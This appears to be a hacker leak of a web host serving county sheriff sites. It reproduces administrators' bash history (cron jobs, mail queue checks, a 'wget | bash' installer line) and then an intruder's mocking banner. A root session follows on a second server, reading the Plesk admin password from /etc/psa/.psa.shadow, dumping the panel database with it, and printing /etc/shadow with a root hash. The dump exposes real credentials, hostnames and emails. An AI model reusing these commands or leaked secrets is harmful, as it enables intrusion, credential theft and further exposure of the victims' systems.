  2464. ll
  2465. ll
  2466. ll
  2467. ll
  2468. ll
  2469. ll
  2470. crontab -l
  2471. /usr/bin/php /var/www/vhosts/stfranciscountysheriff.org/home/warrant_parser.php
  2472. crontab -e
  2473. ll
  2474. cd /var/www/vhosts/crosscountysheriff.org/home/
  2475. ll
  2476. cd Cross\ County/
  2477. ll
  2478. ll -h
  2479. ll
  2480. ll
  2481. crontab -l
  2482. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2483. County/warrant_parser.php
  2484. crontab -l
  2485. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php >/dev/null
  2486. 2>&1
  2487. ll
  2488. cd /var/www/vhosts/boonesheriff.com/home/
  2489. ll
  2490. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php
  2491. ll
  2492. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php
  2493. crontab -e
  2494. postqueue -p
  2495. postqueue -p
  2496. postqueue -f
  2497. ll
  2498. ll
  2499. less huh
  2500. ll -rt
  2501. ll -h
  2502. ll -rth
  2503. top
  2504. ll
  2505. less tat\ E
  2506. postqueue -p
  2507. postqueue -p
  2508. postqueue -p
  2509. postqueue -f
  2510. postqueue -f
  2511. postqueue -p
  2512. postqueue -p
  2513. postqueue -p
  2514. postqueue -p
  2515. postqueue -f
  2516. postqueue -p
  2517. postqueue -f
  2518. postqueue -p
  2519. postqueue -f
  2520. postqueue -p
  2521. postqueue -f
  2522. postqueue -p
  2523. postqueue -f
  2524. postqueue -p
  2525. postqueue -p
  2526. postqueue -p
  2527. postqueue -p
  2528. postqueue -p
  2529. postqueue -p
  2530. postqueue -p
  2531. postqueue -p
  2532. postqueue -p
  2533. postqueue -f
  2534. postqueue -p
  2535. top
  2536. postqueue -p
  2537. postqueue -p
  2538. postqueue -p
  2539. postqueue -p
  2540. postqueue -p
  2541. ls
  2542. cd bin
  2543. ls
  2544. cd ../scripts/
  2545. ls
  2546. rm logon.aspx\?url\=https\:%2F%2Fwebmail.bjmweb.com%2Fowa%2F\&reason\=0
  2547. rm logon.aspx\?url\=https\:%2F%2Fwebmail.bjmweb.com%2Fowa%2F\&reason\=0
  2548. ./backup-now.sh
  2549. cd
  2550. ls
  2551. rm BACKUP092010.csv.gz
  2552. less recaptcha.log
  2553. less recaptchalib.php
  2554. for i in $(cat recaptcha.log); do echo $i; done
  2555. for i in $(cat recaptcha.log); do ls -al $i; done
  2556. for i in $(cat recaptcha.log); do ls -al $i; done > perms.log
  2557. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; done
  2558. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; done| wc -l
  2559. wc -l perms.log
  2560. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $il cat
  2561. recaptchalib.php > $i; done
  2562. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; cat
  2563. recaptchalib.php > $i; done
  2564. ll /var/www/vhosts/georgecountymssheriff.com/httpdocs/recaptchalib.php
  2565. less /var/www/vhosts/randolphcountysheriff.org/httpdocs/recaptchalib.php
  2566. cd /var/www/vhosts/crosscountysheriff.org/home
  2567. ll
  2568. cd Cross\ County/
  2569. ll
  2570. less parse_pcv.php
  2571. ll
  2572. vi test.txt
  2573. ll
  2574. less parse_pcv.php
  2575. ll
  2576. crontab -l
  2577. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2578. County/parse_pcv.php
  2579. top
  2580. vi test.txt
  2581. vi test.txt
  2582. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2583. County/parse_pcv.php
  2584. cd images/
  2585. ll
  2586. cp *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
  2587. cp -f *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
  2588. \cp -f *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
  2589. cd ..
  2590. ll
  2591. ll
  2592. vi test.txt
  2593. ll
  2594. cd .
  2595. cd ..
  2596. ll
  2597. less pop_update.txt
  2598. cd /var/www/vhosts/stfranciscountysheriff.org/
  2599. ll
  2600. cd home/
  2601. ll
  2602. less check_population.php
  2603. cd /var/www/vhosts/crosscountysheriff.org/home/Cross\ County/
  2604. pwd
  2605. ll
  2606. ll
  2607. ll
  2608. ll
  2609. top
  2610. ll
  2611. ll
  2612. cd ..
  2613. l
  2614. ll
  2615. cd Cross\ County/
  2616. ll
  2617. less Jun
  2618. ll
  2619. ll
  2620. ll
  2621. cd ..
  2622. ll
  2623. vi check_population.php
  2624. php check_population.php
  2625. vi check_population.php
  2626. php check_population.php
  2627. cd Cross\ County/
  2628. ll
  2629. less Population.txt
  2630. cd..
  2631.  
  2632. cd ..
  2633. php check_population.php
  2634. php check_population.php > Cross\ County/test.txt
  2635. crontab -l
  2636. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2637. County/parse_pcv.php
  2638. cd Cross\ County/
  2639. ll
  2640. vi test.txt
  2641. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2642. County/parse_pcv.php
  2643. vi inmate_class.php
  2644. vi inmate_class.php
  2645. top
  2646. top
  2647. postqueue -p
  2648. postqueue -p
  2649. postqueue -p
  2650. postqueue -p
  2651. postqueue -p
  2652. postqueue -p
  2653. postqueue -p
  2654. postqueue -p
  2655. top
  2656. postqueue -p
  2657. top
  2658. cd /var/www/vhosts/johnsoncosheriff.com/home
  2659. cd /var/www/vhosts/jocomosheriff.org/home/
  2660. ll
  2661. cd export_backup/
  2662. ll
  2663. ll -rt
  2664. cd ..
  2665. ll
  2666. cd Export/
  2667. ll
  2668. cd Images/
  2669. ll
  2670. ll -rt
  2671. cd ..
  2672. cd ..
  2673. ll
  2674. cd export_backup/
  2675. ll
  2676. cd ..
  2677. ll
  2678. less parse_roster.php
  2679. ll
  2680. cd export_backup/
  2681. ll
  2682. top
  2683. crontab -l
  2684. less
  2685. /var/www/vhosts/mostwantedwebsites.net/subdomains/code/httpdocs/search/cron.sh
  2686. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2687. /usr/bin/php
  2688. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2689. -u http://crosscountysheriff.org/ -r -n
  2690. http://crosscountysheriff.org/warrants.php?find=all
  2691. crontab -e
  2692. crontab -l
  2693. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2694. /usr/bin/php
  2695. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2696. -u http://crosscountysheriff.org/ -r -n
  2697. http://www.crosscountysheriff.org/warrants/view/all
  2698. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2699. /usr/bin/php
  2700. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2701. -u http://crosscountysheriff.org/ -r -n
  2702. http://www.crosscountysheriff.org/warrants/view/all \n cd
  2703. http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
  2704. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2705. /usr/bin/php
  2706. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2707. -u http://crosscountysheriff.org/ -r -n
  2708. http://www.crosscountysheriff.org/warrants/view/all \n
  2709. http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
  2710. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2711. /usr/bin/php
  2712. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2713. -u http://crosscountysheriff.org/ -r -n
  2714. http://www.crosscountysheriff.org/warrants/view/all \n
  2715. http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
  2716. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2717. /usr/bin/php
  2718. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2719. -u http://crosscountysheriff.org/ -r -n
  2720. http://www.crosscountysheriff.org/warrants/view/all \n
  2721. http://www.crosscountysheriff.org/index.php?a=warrantsv=viewid=all
  2722. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2723. /usr/bin/php
  2724. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2725. -u http://crosscountysheriff.org/ -r -n
  2726. http://www.crosscountysheriff.org/warrants/view/all \n
  2727. http://www.crosscountysheriff.org/index.php
  2728. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2729. /usr/bin/php
  2730. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2731. -u http://crosscountysheriff.org/ -r
  2732. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2733. /usr/bin/php
  2734. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2735. -u http://crosscountysheriff.org/ -r -n
  2736. http://www.crosscountysheriff.org/warrants/view/all\nhttp://www.
  2737. crosscountysheriff.org/index.php
  2738. top
  2739. lsof -p 20452
  2740. kill 20452
  2741. lsof -p 20452
  2742. top
  2743. lsof -p 32631
  2744. kill 32631
  2745. lsof -p
  2746. lsof -p 32631
  2747. top
  2748. lsof -p 5852
  2749. top
  2750. su - mstapleton
  2751. ll
  2752. cd /var/www/vhosts/kansassheriffs.org/uploads/
  2753. cd /var/www/vhosts/kansassheriffs.org/
  2754. ll
  2755. cd /httpdocs/
  2756. cd /va
  2757. cd /var/www/vhosts/kansassheriffs.org/httpdocs/
  2758. ll
  2759. cd /uploads/
  2760. cd uploads/
  2761. ll
  2762. cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/uploads/
  2763. ll
  2764. ../
  2765. ll
  2766. cd ../
  2767. ll
  2768. chown -R root:root uploads/
  2769. ll
  2770. cd uploads/
  2771. ll
  2772. cd ../
  2773. ll
  2774. chown -R kssa2 uploads/
  2775. ll
  2776. chown -R kssa2:kssa2 uploads/
  2777. ll
  2778. logout
  2779. cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/
  2780. ll
  2781. cd ../
  2782. ll
  2783. cd httpdocs/
  2784. ll
  2785. rm -R httpdocs/
  2786. cd ../
  2787. ll
  2788. rm -R httpdocs/
  2789. y
  2790. y
  2791. y
  2792. y
  2793. y
  2794. y
  2795. y
  2796. y
  2797. ll
  2798. cd httpdocs/
  2799. ll
  2800. cd /var/www/vhosts/kansassheriffs.org/httpdocs/
  2801. ll
  2802. crontab -e
  2803. logout
  2804. cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/
  2805. ll
  2806. cd ../
  2807. ll
  2808. rm -f httpdocs/
  2809. rm -R httpdocs/
  2810. ll
  2811. cd httpdocs/
  2812. ll
  2813. ../
  2814. cd ../
  2815. ll
  2816. rm -r httpdocs/
  2817. y
  2818. y
  2819. y
  2820. y
  2821. y
  2822. y
  2823. y
  2824. y
  2825. ll
  2826. rm -R httpdocs/
  2827. y
  2828. ll
  2829. logout
  2830. crontab -l
  2831. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2832. /usr/bin/php
  2833. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2834. -u http://crosscountysheriff.org/ -r -n
  2835. http://www.crosscountysheriff.org/warrants/view/all
  2836. cd /var/www/vhosts/howardcountysheriffar.com/
  2837. ll
  2838. cd httpdocs/
  2839. ll
  2840. ll
  2841. cd ..
  2842. cd home/
  2843. ll
  2844. touch test.txt
  2845. vi test.txt
  2846. ll
  2847. vi test.txt
  2848. ll
  2849. crontab -l
  2850. /usr/bin/php /var/www/vhosts/howardcountysheriffar.com/home/parse_pcv.php
  2851. >/dev/null 2>&1
  2852. ll
  2853. yum info php
  2854. w
  2855. top
  2856. ps -ef | grep httpd
  2857. w
  2858. w
  2859. w
  2860. top
  2861. top
  2862. ps -ef
  2863. ps -ef
  2864. w
  2865. iostat
  2866. top
  2867. ps -ef | grep bp
  2868. kill 6144
  2869. top
  2870. crontab -l
  2871. ps -ef | grep imap
  2872. cd /etc/
  2873. w
  2874. top
  2875. ps -ef | grep php
  2876. ls /etc/init.d
  2877. chkconfig --list
  2878. runlevel
  2879. /etc/init.d/postfix restart
  2880. bg
  2881. ps -ef | grep bp
  2882. date
  2883. kill 31287
  2884. top
  2885. ps -ef
  2886. /etc/init.d/postfix start
  2887. ps -ef| grep imap
  2888. ps -ef| grep post
  2889. less /usr/local/psa/var/log/maillog
  2890. mail jwiegand@bjmweb.com
  2891. less /usr/local/psa/var/log/maillog
  2892. mailq
  2893. man bpbark
  2894. top
  2895. ps -ef | grep my
  2896. ps -ef | grep mysql
  2897. ps -ef | less
  2898. top
  2899. ps -ef | grep php
  2900. cd
  2901. ls
  2902. cd bin/
  2903. ls
  2904. cd ../scripts/
  2905. ls
  2906. ./backup-now.sh
  2907. top
  2908. ps -ef
  2909. top
  2910. ps -ef | grep psa
  2911. ps -ef |grep sp
  2912. pkill spider
  2913. ps -ef |grep sp
  2914. kill 6624 6644 18573
  2915. ps -ef |grep sp
  2916. ps -ef |grep spider
  2917. kill 11673 11717 18605
  2918. ps -ef |grep spider
  2919. top
  2920. top
  2921. nn
  2922. cd /var/www/vhosts/
  2923. ls
  2924. cd jacksonsheriff.org/
  2925. find . -name tiny_mce
  2926. find . -name tinymce
  2927. ls admin
  2928. cd httpdocs/
  2929. ls
  2930. ls admin
  2931. find .
  2932. find .| less
  2933. cd ../../crosscountysheriff.org/
  2934. cd httpdocs/
  2935. ls
  2936. find . -name tiny\*
  2937. less ./admin/tinymce/jscripts/tiny_mce/tiny_mce.js
  2938. mv ./admin/config/functions/tiny_mce.php
  2939. ./admin/config/functions/tiny_mce.php_bak
  2940. mv ./admin/tinymce/jscripts/tiny_mce ./admin/tinymce/jscripts/tiny_mce_bak
  2941. cp ~/tiny_mce.php ./admin/config/functions/tiny_mce.php
  2942. cp -rv ~/tiny_mce ./admin/tinymce/jscripts/tiny_mce
  2943. cd ../..
  2944. find . -type d -name wp-admin
  2945. pwd
  2946. cd ../..
  2947. cd www/vhosts/
  2948. ls
  2949. cd crosscountysheriff.org/
  2950. ls
  2951. cd httpdocs/admin/
  2952. ls
  2953. ll
  2954. history
  2955. ls
  2956. ll tinymce/
  2957. ls
  2958. ll config/
  2959. ll config/functions/
  2960. cd config/functions/
  2961. ll
  2962. diff tiny_mce.php tiny_mce.php_bak
  2963. ls
  2964. mv tiny_mce.php tiny_mce.php_new
  2965. mv tiny_mce.php_bak tiny_mce.php
  2966. cd ../
  2967. ls
  2968. cd ..
  2969. ls
  2970. history
  2971. cd tinymce/jscripts/
  2972. ll
  2973. mv tiny_mce tiny_mce_new
  2974. mv tiny_mce_bak tiny_mce
  2975. top
  2976. lsof -p 9043
  2977. kill 9043
  2978. lsof -p 9043
  2979. cd /var/log
  2980. ls
  2981. less rsnapshot
  2982. less rsnapshot
  2983. cd /var/www/vhosts/crosscountysheriff.org/
  2984. cd statistics/
  2985. ls
  2986. less logs/access_log
  2987. cd /var/www/vhosts/baxtercountysheriff.com/
  2988. ls
  2989. cd httpdocs/
  2990. cd admin_dymin/
  2991. ls
  2992. find . -name ping.php
  2993. ll
  2994. cd /var/www/vhosts/stonecountymosheriff.com/
  2995. ll
  2996. cd httpdocs/
  2997. ll
  2998. cd ..
  2999. cd home/
  3000. ll
  3001. cd export_backup/
  3002. ll
  3003. crontab -l
  3004. crontab -e
  3005. crontab -l
  3006. cd /var/www/vhosts/stonecountymosheriff.com/
  3007. cd home/
  3008. ll
  3009. cd export_backup/
  3010. ll
  3011. top
  3012. cd /var/www/vhosts/jocomosheriff.org/
  3013. ll
  3014. cd home/
  3015. ll
  3016. cd Export/
  3017. ll
  3018. cd ../export_backup/
  3019. ll
  3020. cd ..
  3021. ll
  3022. vi parse_roster.php
  3023. crontab -l
  3024. vi /backup/johms_parse_log.txt
  3025. ll
  3026. less clean.php
  3027. ll
  3028. cd export_backup/
  3029. ll
  3030. rm -f RosterExport_2011_01* RosterExport_2011_02* RosterExport_2011_03*
  3031. RosterExport_2011_04* RosterExport_2011_05*
  3032. rm -f RosterExport_2011_01*
  3033. rm -f RosterExport_2011_02*
  3034. rm -f RosterExport_2011_03*
  3035. rm -f RosterExport_2011_04*
  3036. rm -f RosterExport_2011_05*
  3037. rm -f RosterExport_2011_05*
  3038. rm -f RosterExport_2011_05_0*
  3039. rm -f RosterExport_2011_05*
  3040. rm -f RosterExport_2011_06*
  3041. ll
  3042. ll
  3043. ll
  3044. ll
  3045. cd ..
  3046. ll
  3047. vi parse_roster.php
  3048. ll
  3049. ll
  3050. ll
  3051. cd Export/
  3052. ll
  3053. cd Images/
  3054. ll
  3055. *.txt
  3056. ll | less
  3057. ll
  3058. cd ..
  3059. ll
  3060. cd ..
  3061. ll
  3062. less parse_roster.php
  3063. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3064. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3065. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3066. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3067. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3068. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3069. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3070. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3071. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3072. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3073. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3074. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3075. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3076. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3077. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3078. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3079. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3080. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3081. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3082. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3083. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3084. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3085. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3086. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3087. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3088. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3089. crontab -l
  3090. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  3091. /backup/johms_parse_log.txt
  3092. cd Export/Images/
  3093. ll
  3094. ll 1243376
  3095. ll 1243376*
  3096. ll 1*
  3097. ll 124*
  3098. ll 12433*
  3099. cd ..
  3100. ll
  3101. cd ..
  3102. ll
  3103. less clean.php
  3104. vi clean.php
  3105. php clean.php
  3106. vi clean.php
  3107. php clean.php
  3108. ll
  3109. cd Export/Images/
  3110. ll
  3111. cd ..
  3112. cd ..
  3113. php clean.php
  3114. ll
  3115. php clean.php
  3116. ll
  3117. ll
  3118. ll
  3119. cd export_backup/
  3120. ll
  3121. less RosterExport_2011_07_
  3122. ll
  3123. ll
  3124. cd ..
  3125. ll
  3126. vi parse_roster.php
  3127. vi parse_roster.php
  3128. ll
  3129. cd export_backup/
  3130. ll
  3131. ll
  3132. ll
  3133. cd /backup/
  3134. ll
  3135. vi johms_parse_log.txt
  3136. ll
  3137. cd /var/www/vhosts/jocomosheriff.org/home/
  3138. ll
  3139. cd Export/
  3140. ll
  3141. ll
  3142. ll
  3143. ll
  3144. ll
  3145. ll
  3146. ll
  3147. ll
  3148. cd Images/
  3149. ll
  3150. cd ..
  3151. ll
  3152. cp *.JPG Images/
  3153. ll
  3154. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  3155. /backup/johms_parse_log.txt
  3156. cd ..
  3157. cd export_backup/
  3158. ll
  3159. ll
  3160. ll
  3161. cd ..
  3162. cd Export/
  3163. ll
  3164. cd Images/
  3165. ll
  3166. ll
  3167. ll | less
  3168. ll
  3169. cd ..
  3170. ll
  3171. cd ..
  3172. ll
  3173. du -sh ./*
  3174. vi clean.php
  3175. php clean.php
  3176. ll
  3177. vi clean.php
  3178. php clean.php
  3179. ll
  3180. du -sh ./*
  3181. cd Export/
  3182. ll
  3183. cd ..
  3184. ll
  3185. crontab -l
  3186. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  3187. /backup/johms_parse_log.txt
  3188. ll
  3189. du -sh ./*
  3190. ll
  3191. cd export_backup/
  3192. ll
  3193. ll
  3194. cd ..
  3195. cd Export/Images/
  3196. ll
  3197. cd ../../
  3198. ll
  3199. php clean.php
  3200. ll
  3201. du -sh ./*
  3202. ll
  3203. ll
  3204. du -sh ./*
  3205. du -sh ./*
  3206. du -sh ./*
  3207. cd Export/
  3208. ll
  3209. cd Images/
  3210. ll
  3211. ll
  3212. ll 1322055.JPG
  3213. ll
  3214. cd ../../
  3215. ll
  3216. php parse_roster.php
  3217. ll
  3218. cd Export/
  3219. ll
  3220. ll
  3221. cd Images/
  3222. ll
  3223. cd ..
  3224. ll
  3225. ll
  3226. du -sh
  3227. du -sh ./*
  3228. top
  3229. ll
  3230. cd ..
  3231. du -sh ./*
  3232. ll
  3233. ll
  3234. du -sh ./*
  3235. du -sh ./*
  3236. cd ~
  3237. ll
  3238. mkdir MASS_PASS
  3239. ll
  3240. cd MASS_PASS/
  3241. ll
  3242. vi masspass.php
  3243. ll
  3244. php masspass.php
  3245. vi masspass.php
  3246. php masspass.php
  3247. vi masspass.php
  3248. php masspass.php
  3249. vi masspass.php
  3250. vi masspass.php
  3251. php masspass.php
  3252. vi masspass.php
  3253. php masspass.php
  3254. vi masspass.php
  3255. php masspass.php
  3256. vi masspass.php
  3257. php masspass.php -p 12345
  3258. php masspass.php -p12345
  3259. vi masspass.php
  3260. php masspass.php -p12345
  3261. php masspass.php
  3262. vi masspass.php
  3263. php masspass.php
  3264. php masspass.php -oe0d14a92 -n12345
  3265. vi masspass.php
  3266. php masspass.php -oe0d14a92 -n12345
  3267. php masspass.php -oe0d14a92 -nY9BNtSeb
  3268. vi masspass.php
  3269. php masspass.php -oe0d14a92 -nY9BNtSeb
  3270. php masspass.php
  3271. vi masspass.php
  3272. php masspass.php
  3273. php masspass.php -n705ad48f3563c4c30d3fec8564b7636b
  3274. -oa872c8327d9b4b3e3e1cf6b673c529b4
  3275. php masspass.php
  3276. ll
  3277. php masspass.php
  3278. vi masspass.php
  3279. crontab -e
  3280. top
  3281. ll
  3282. less sete.sh
  3283. less tat\ E
  3284. cd /var/www/vhosts/crosscountysheriff.org/home/
  3285. ll
  3286. cd Cross\ County/
  3287. ll
  3288. vi test.txt
  3289. ll
  3290. crontab -l
  3291. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  3292. County/parse_pcv.php >/dev/null 2>&1
  3293. cd /var/www/vhosts/boonesheriff.com/home/
  3294. ll
  3295. vi test.txt
  3296. ll
  3297. cronatb -l
  3298. crontab -l
  3299. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/parse_pcv.php >/dev/null 2>&1
  3300. ll
  3301. cd images/
  3302. ll
  3303. ll
  3304. cd ..
  3305. ll
  3306. ls
  3307. ls scripts/
  3308. at 6:00 AM tomorrow
  3309. postfix -q
  3310. postfix -p
  3311. postqueue -q
  3312. postqueue -p
  3313. cd /usr/local/ll
  3314. cd /usr/local/psa/var/
  3315. ll
  3316. cd log
  3317. ll
  3318. less maillog
  3319. grep 'status=' maillog | less
  3320. grep 'status=deferred' maillog | less
  3321. grep 'timed out while receiving the initial server greeting' maillog | less
  3322. grep 'conversation with s2smtpout' maillog | less
  3323. grep 'radams' maillog | less
  3324. crontab -l
  3325. grep 'conversation with s2smtpout' maillog | mail -s "Relay Server Issues"
  3326. serverwatch@bjmweb.com
  3327. grep 'linda@voltplastics.com' maillog | less
  3328. cd ~
  3329. ll
  3330. ll
  3331. less huh
  3332. ll
  3333. ll -rt
  3334. cd MASS_PASS/
  3335. ll
  3336. php masspass.php
  3337. php masspass.php -oY9BNtSeb -nYNw1rTxp
  3338. php masspass.php
  3339. php masspass.php -n10df020e5e24b80589b4b618b107055c
  3340. -o705ad48f3563c4c30d3fec8564b7636b
  3341. php masspass.php
  3342. cd MASS_PASS/
  3343. ll
  3344. php masspass.php
  3345. ll
  3346. cd MASS_PASS/
  3347. php masspass.php
  3348. su - mstapleton
  3349. cd /var/www/vhosts/
  3350. ll
  3351. cd cherokeecountyalsheriff.com/
  3352. ll
  3353. cd httpdocs/
  3354. ll
  3355. cd _newsite/
  3356. ll
  3357. cd ../
  3358. ll
  3359. chown -R ccsal:psacln _newsite/
  3360. ll
  3361. cd _newsite/
  3362. ll
  3363. exit
  3364. cd /var/www/vhosts/cherokeecountyalsheriff.com/
  3365. ll
  3366. cd httpdocs/
  3367. ll
  3368. cd _n
  3369. cd _newsite/
  3370. ll
  3371. cd controllers/
  3372. ll
  3373. cd ../
  3374. ll
  3375. chown -R ccsal:psacln controllers/
  3376. chown -R ccsal:psacln helpers/
  3377. chown -R ccsal:psacln model/
  3378. chown -R ccsal:psacln views/
  3379. ll
  3380. exit
  3381.  
  3382.  
  3383. # cat ~webdebt/.bash_history
  3384.  
  3385.  
  3386. su -l root -c "wget -q -O - http://208.109.96.14/public/scripts/nbu_install.sh |
  3387. bash -s 800384d4-e9bb-11de-a2ed-00114332b4ff"
  3388. exit
  3389. su root
  3390. su
  3391. ls
  3392. cd var/
  3393. ls
  3394. cd www/vhosts/
  3395. ls
  3396. cd baxtercountysheriff.com/
  3397. ls
  3398. cd httpdocs
  3399. ls
  3400. mkdir httpdocs
  3401. su -
  3402. su -
  3403. ls
  3404. cd /var/www/vhosts/
  3405. ls
  3406. cd baxtercountysheriff.com/
  3407. ls
  3408. mkdir vhosts
  3409. cd ..
  3410. ls
  3411. mkdir poop
  3412. rm poop
  3413. rm -rf poop
  3414. ls
  3415. cd 20jdpa
  3416. cd 20jdpa.com/
  3417. ls
  3418. mkdir httpdocs
  3419. ls
  3420. mkdir httpdocs
  3421. su
  3422. cd /var/www/vhosts/
  3423. ll
  3424. cd 20jdpa.com/httpdocs/
  3425. su
  3426. su -
  3427. mkdir cert
  3428. exit
  3429. su -
  3430. su -
  3431. exti
  3432. exit
  3433. su -
  3434. su -
  3435. su -
  3436. su -
  3437. exi
  3438. exit
  3439. ll
  3440. cd ..
  3441. cd
  3442. ll
  3443. cd
  3444. /
  3445. cd //
  3446. ll
  3447. su -
  3448. exit
  3449. su
  3450. cd.
  3451. ;;
  3452. ll
  3453. su root
  3454. ll
  3455. cd
  3456. ll
  3457. cd
  3458. ll
  3459. su
  3460. su -
  3461. cd .ssh
  3462. lll
  3463. ll
  3464. ll -a
  3465. less authorized_keys
  3466. cd ~
  3467. pwd
  3468. exit
  3469.  
  3470. ////////////////////////////////////////////////////////////////////////////////
  3471. ON TO SERVER NUMBER TWO...
  3472. ROOTING YOUR BOX ALL OVER AGAIN ... THANKS FOR COPYING OUR ROOTSHELLS OVER!
  3473. ////////////////////////////////////////////////////////////////////////////////
  3474.  
  3475. # id
  3476. uid=0(root) gid=0(root) groups=48(apache),504(psaserv),506(psasb)
  3477.  
  3478. # uname -a
  3479. Linux ip-173-201-44-217.ip.secureserver.net 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9
  3480. 12:54:40 EST 2010 i686 i686 i386 GNU/Linux
  3481.  
  3482. // GET THEIR NEW PLESK ROOT PASSWORD...
  3483.  
  3484. # cat /etc/psa/.psa.shadow
  3485. xP7bhLwbSkNiHyWS9PpnCG/u1wMkKy2/
  3486.  
  3487. // GET THEIR NEW PASSWORDS... THANKS AGAIN PLESK FOR THE PLAINTEXTS
  3488.  
  3489. # mysqldump -q -u admin -pxP7bhLwbSkNiHyWS9PpnCG/u1wMkKy2/ --databases psa
  3490. --add-drop-table > newpasses.sql
  3491.  
  3492. // JUST FOR FUN...
  3493.  
  3494. # cat /etc/shadow
  3495. root:$1$.1QVTig3$JduJkOj4jwaps0mslfpGK0:15184:0:99999:7:::
  3496. bin:*:13913:0:99999:7:::
  3497. daemon:*:13913:0:99999:7:::
  3498. adm:*:13913:0:99999:7:::
  3499. lp:*:13913:0:99999:7:::
  3500. sync:*:13913:0:99999:7:::
  3501. shutdown:*:13913:0:99999:7:::
  3502. halt:*:13913:0:99999:7:::
  3503. mail:*:13913:0:99999:7:::
  3504. news:*:13913:0:99999:7:::
  3505. uucp:*:13913:0:99999:7:::
  3506. operator:*:13913:0:99999:7:::
  3507. games:*:13913:0:99999:7:::
  3508. gopher:*:13913:0:99999:7:::
  3509. ftp:*:13913:0:99999:7:::
  3510. nobody:*:13913:0:99999:7:::
  3511. rpm:!!:13913:0:99999:7:::
  3512. dbus:!!:13913:0:99999:7:::
  3513. mailnull:!!:13913:0:99999:7:::
  3514. smmsp:!!:13913:0:99999:7:::
  3515. nscd:!!:13913:0:99999:7:::
